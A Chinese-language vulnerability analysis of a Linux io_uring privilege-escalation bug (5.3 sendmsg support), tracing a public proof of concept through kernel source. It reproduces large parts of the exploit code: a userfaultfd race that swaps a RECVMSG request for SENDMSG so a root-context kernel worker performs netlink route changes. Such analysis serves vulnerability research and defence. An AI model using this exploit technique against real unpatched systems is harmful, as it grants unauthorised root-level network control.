“io_uring” 是Linux在5.1版本开始添加的异步IO机制,5.3 版本的内核添加了sendmsg的支持,没有考虑到权限的问题,可能导致权限提升。
前置知识
IO_uring 简介
io_uring 可以参考这篇文章), 写的很不错, Linux 上的异步IO的实现一直是一个问题,aio和epoll等都存在各种各样的不足,在Linux 5.1 版本中引入了一个新的异步IO框架io_uring
主要的代码在下面几个文件
添加了三个新的系统调用
425 io_uring_setup
426 io_uring_enter
427 io_uring_register
io_uring_setup
会返回一个文件描述符fd
, 后续都是用这个fd来做操作。
io_uring 涉及几个内存,盗一张图:
用户提交数据到sq_ring
,然后内核处理完成之后,会把完成的状态写入到 cq_ring
里面,用户在cq_ring
就可以找到io的完成状态。
poc 分析
漏洞是在commit 0fa03c624d8f ("io_uring: add support for sendmsg()", first in v5.3)
引入的,它添加了一个 io_sendmsg
方法, 对应的opcode 是IORING_OP_SENDMSG 9
我们拷贝一下Jannh的poc), 我的测试环境是在ubuntu 1804 上,测试内核用 linux 5.4 版本。
编译的时候可能会报错,可能是找不到系统调用号,在poc开始添加下面两行。把linux的include/uapi/linux/io_uring.h
文件拷贝过来,然后把#include <linux/io_uring.h>
换成#include "io_uring.h"
就可以了
#define SYS_io_uring_setup 425
#define SYS_io_uring_enter 426
poc 运行之后会添加一个inet 地址,这个是需要root权限才能操作的。
首先调用io_uring_enter
创建一个fd, 并把内存映射好
struct io_uring_params params = { }; int uring_fd = SYSCHK(syscall(SYS_io_uring_setup, /*entries=*/10, ¶ms)); unsigned char *sq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING)); unsigned char *cq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING)); sqes = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES));
然后用 userfaultfd 监听 iov
这一块内存
iov = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0));
struct uffdio_register reg = {
.mode = UFFDIO_REGISTER_MODE_MISSING,
.range = { .start = (unsigned long)iov, .len = 0x1000 }
};
它会在 内存被读写的时候吧opcode改成IORING_OP_SENDMSG
(9)
static void *uffd_thread(void *dummy) {
struct uffd_msg msg;
int res = SYSCHK(read(uffd, &msg, sizeof(msg)));
if (res != sizeof(msg)) errx(1, "uffd read");
printf("got userfaultfd messagen");
sqes[0].opcode = IORING_OP_SENDMSG;
union {
struct iovec iov;
char pad[0x1000];
} vec = {
.iov = real_iov
};
struct uffdio_copy copy = {
.dst = (unsigned long)iov,
.src = (unsigned long)&vec,
.len = 0x1000
};
SYSCHK(ioctl(uffd, UFFDIO_COPY, ©));
return NULL;
}
然后创建了一个netlink 的socket,用来对netlink路由做操作,传入的opcode是IORING_OP_RECVMSG
(10), 调用SYS_io_uring_enter
提交到submission queue
int sock = SYSCHK(socket(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE));
sqes[0] = (struct io_uring_sqe) {
.opcode = IORING_OP_RECVMSG,
.fd = sock,
.addr = (unsigned long)&msg
};
int submitted = SYSCHK(syscall(SYS_io_uring_enter, uring_fd, /*to_submit=*/1, /*min_complete=*/1, /*flags=*/IORING_ENTER_GETEVENTS, /*sig=*/NULL, /*sigsz=*/0));
okay 我们跟一下代码,看看具体发生了什么,SYS_io_uring_setup
主要是创建io_uring的fd,可以先不看。
主要看SYS_io_uring_enter
系统调用,内核中函数实现是io_uring_enter
,我们设置了to_submit=1
以及flags=IORING_ENTER_GETEVENTS
, 会进入下面两个判断
} else if (to_submit) {
to_submit = min(to_submit, ctx->sq_entries);
mutex_lock(&ctx->uring_lock);
submitted = io_ring_submit(ctx, to_submit);
mutex_unlock(&ctx->uring_lock);
}
if (flags & IORING_ENTER_GETEVENTS) {
unsigned nr_events = 0;
min_complete = min(min_complete, ctx->cq_entries);
if (ctx->flags & IORING_SETUP_IOPOLL) {
ret = io_iopoll_check(ctx, &nr_events, min_complete);
} else {
ret = io_cqring_wait(ctx, min_complete, sig, sigsz);
}
}
`IORING_ENTER_GETEVENTS
主要是获取完成的状态写入cq_ring
,主要看io_ring_submit
函数,它调用链如下
io_ring_submit
- io_submit_sqe
- io_queue_sqe
- __io_queue_sqe
- __io_submit_sqe
- io_sq_wq_submit_work
进入__io_queue_sqe
会调用__io_submit_sqe
static int __io_queue_sqe(struct io_ring_ctx *ctx, struct io_kiocb *req,
struct sqe_submit *s)
{
int ret;
ret = __io_submit_sqe(ctx, req, s, true);
__io_submit_sqe
根据不同的opcode选择不同的执行路径,因为我们一开始传入的是IORING_OP_RECVMSG
所以会进入io_recvmsg
函数, force_nonblock
是设置成true
static int __io_submit_sqe(struct io_ring_ctx *ctx, struct io_kiocb *req,
const struct sqe_submit *s, bool force_nonblock)
//...
case IORING_OP_SENDMSG:
ret = io_sendmsg(req, s->sqe, force_nonblock);
break;
case IORING_OP_RECVMSG:
ret = io_recvmsg(req, s->sqe, force_nonblock);
break;
io_recvmsg
调用链如下
io_recvmsg
- io_send_recvmsg
- __sys_recvmsg_sock
- ___sys_recvmsg
首先是io_send_recvmsg
,因为force_nonblock
为true, flags会加上MSG_DONTWAIT
标识,接着调用__sys_recvmsg_sock
if (unlikely(req->ctx->flags & IORING_SETUP_IOPOLL))
return -EINVAL;
sock = sock_from_file(req->file, &ret);
if (sock) {
struct user_msghdr __user *msg;
unsigned flags;
flags = READ_ONCE(sqe->msg_flags);
if (flags & MSG_DONTWAIT)
req->flags |= REQ_F_NOWAIT;
else if (force_nonblock)
flags |= MSG_DONTWAIT;//<--
msg = (struct user_msghdr __user *) (unsigned long)
READ_ONCE(sqe->addr);
ret = fn(sock, msg, flags);
___sys_recvmsg
是在用户进程上下文调用的,函数执行过程中会获取userfaultfd 绑定的iov
内存的内容, 这个时候opcode就被改成了IORING_OP_SENDMSG
了,函数继续执行
/* kernel mode address */
struct sockaddr_storage addr;
/* user mode address pointers */
struct sockaddr __user *uaddr;
int __user *uaddr_len = COMPAT_NAMELEN(msg);
msg_sys->msg_name = &addr;
if (MSG_CMSG_COMPAT & flags)
err = get_compat_msghdr(msg_sys, msg_compat, &uaddr, &iov);
else
err = copy_msghdr_from_user(msg_sys, msg, &uaddr, &iov); //<-------iov 读取
if (err < 0)
return err;
//.....
if (sock->file->f_flags & O_NONBLOCK)
flags |= MSG_DONTWAIT;
err = (nosec ? sock_recvmsg_nosec : sock_recvmsg)(sock, msg_sys, flags);
if (err < 0)
goto out_freeiov;
len = err;
因为recvmsg 并没有设置要非阻塞,函数返回到__io_queue_sqe
之后会继续执行,进入下面判断
*/
if (ret == -EAGAIN && (!(req->flags & REQ_F_NOWAIT) ||
(req->flags & REQ_F_MUST_PUNT))) {
struct io_uring_sqe *sqe_copy;
sqe_copy = kmemdup(s->sqe, sizeof(*sqe_copy), GFP_KERNEL);
if (sqe_copy) {
struct async_list *list;
s->sqe = sqe_copy;
memcpy(&req->submit, s, sizeof(*s));
list = io_async_list_from_sqe(ctx, s->sqe);
if (!io_add_to_prev_work(list, req)) {
if (list)
atomic_inc(&list->cnt);
INIT_WORK(&req->work, io_sq_wq_submit_work);
io_queue_async_work(ctx, req);
}
return 0;
}
它启动一个内核线程,函数实现在io_sq_wq_submit_work
里,这里会再次调用__io_submit_sqe
函数,设置force_nonblock
为false, 需要注意这里是处在内核线程的上下文中,对应的是root权限
do {
struct sqe_submit *s = &req->submit;
const struct io_uring_sqe *sqe = s->sqe;
unsigned int flags = req->flags;
/* Ensure we clear previously set non-block flag */
req->rw.ki_flags &= ~IOCB_NOWAIT;
ret = 0;
if (io_sqe_needs_user(sqe) && !cur_mm) {
if (!mmget_not_zero(ctx->sqo_mm)) {
ret = -EFAULT;
} else {
cur_mm = ctx->sqo_mm;
use_mm(cur_mm);
old_fs = get_fs();
set_fs(USER_DS);
}
}
if (!ret) {
s->has_user = cur_mm != NULL;
s->needs_lock = true;
do {
ret = __io_submit_sqe(ctx, req, s, false);
if (ret != -EAGAIN)
break;
cond_resched();
} while (1);
因为之前opcode已经被改成IORING_OP_SENDMSG
, 所以这一次在内核线程调用io_sendmsg
,因为我们的socket是AF_NETLINK
类型,和io_recvmsg
类似,会调用___sys_sendmsg
,然后根据sock->ops->sendmsg
来调用AF_NETLINK
相关的函数
if (used_address && msg_sys->msg_name &&
used_address->name_len == msg_sys->msg_namelen &&
!memcmp(&used_address->name, msg_sys->msg_name,
used_address->name_len)) {
err = sock_sendmsg_nosec(sock, msg_sys);
goto out_freectl;
}
err = sock_sendmsg(sock, msg_sys);
//...........
static inline int sock_sendmsg_nosec(struct socket *sock, struct msghdr *msg)
{
int ret = INDIRECT_CALL_INET(sock->ops->sendmsg, inet6_sendmsg,
inet_sendmsg, sock, msg,
msg_data_left(msg));
BUG_ON(ret == -EIOCBQUEUED);
return ret;
}
具体的sock->ops
如下,最后会调用netlink_sendmsg
netlink_sendmsg
在net/netlink/af_netlink.c
中, 因为我们传进去的msg_namelen
不为0,所以会进入下面的判断
if (msg->msg_namelen) {
err = -EINVAL;
if (msg->msg_namelen < sizeof(struct sockaddr_nl))
goto out;
if (addr->nl_family != AF_NETLINK)
goto out;
dst_portid = addr->nl_pid;
dst_group = ffs(addr->nl_groups);
err = -EPERM;
if ((dst_group || dst_portid) &&
!netlink_allowed(sock, NL_CFG_F_NONROOT_SEND))
goto out;
netlink_skb_flags |= NETLINK_SKB_DST;
} else {
dst_portid = nlk->dst_portid;
在netlink_allowed
函数做权限的校验,因为这里是内核线程的上下文,所以默认是root权限,可以通过检查,于是就到了我们一开始的添加一个inet ip 的部分了。
static inline int netlink_allowed(const struct socket *sock, unsigned int flag)
{
return (nl_table[sock->sk->sk_protocol].flags & flag) ||
ns_capable(sock_net(sock->sk)->user_ns, CAP_NET_ADMIN);
}
整理一下
- 1)
io_uring_enter
调用io_recvmsg
- 2) 触发
userfaultfd
更改 opcode 为IORING_OP_SENDMSG
- 3)
io_recvmsg
失败,__io_submit_sqe
启动内核线程io_sq_wq_submit_work
- 4) 内核线程调用
io_sendmsg
, 执行netlink 操作(root 权限)
总结
整体来看这个漏洞还是比较简单的,就是注意权限的管理就行。”io_uring” Linux的一个新生的异步io框架,目前还是在不断的发展中的,版本之间的代码都会做很多的更改,这也可能可以作为后续漏洞研究的点。
reference
https://bugs.chromium.org/p/project-zero/issues/detail?id=1959
发表评论
您还未登录,请先登录。
登录